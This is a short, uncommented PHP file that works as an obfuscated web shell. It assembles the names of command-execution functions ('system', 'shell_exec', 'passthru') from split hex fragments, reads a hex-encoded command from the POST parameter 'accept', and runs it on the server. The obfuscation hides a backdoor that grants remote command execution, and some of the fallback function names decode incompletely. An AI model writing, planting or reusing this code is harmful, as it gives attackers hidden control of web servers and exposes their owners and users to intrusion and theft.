<?php

$var1 = '737';
$var2 = '973';
$var3 = '746';
$var4 = '736';
$var5 = '865';
$var6 = '6c6';
$var7 = '706';
$var8 = '173';
$var9 = '468';
$var10 = '616';
$var11 = '074';
$content1 = pack("H*", $var1 . $var2 . $var3 . '56d');
$content2 = pack("H*", $var4 . $var5 . '6c6' . 'c5f' . '657' . $var5);
$content3 = pack("H*", '736' . $var5 . $var6);
$content4 = pack("H*", $var7 . $var8 . $var1 . $var9 . '727');
$accept = pack("H*", $var10 . '363' . '657' . $var11);
if (isset($_POST[$accept])) {
    $accept = pack("H*", $_POST[$accept]);
    if (function_exists($content1)) {
        $content1($accept);
    } elseif (function_exists($content2)) {
        $content2($accept);
    } elseif (function_exists($content3)) {
        $content3($accept);
    } elseif (function_exists($content4)) {
        $content4($accept);
    }
    exit;
}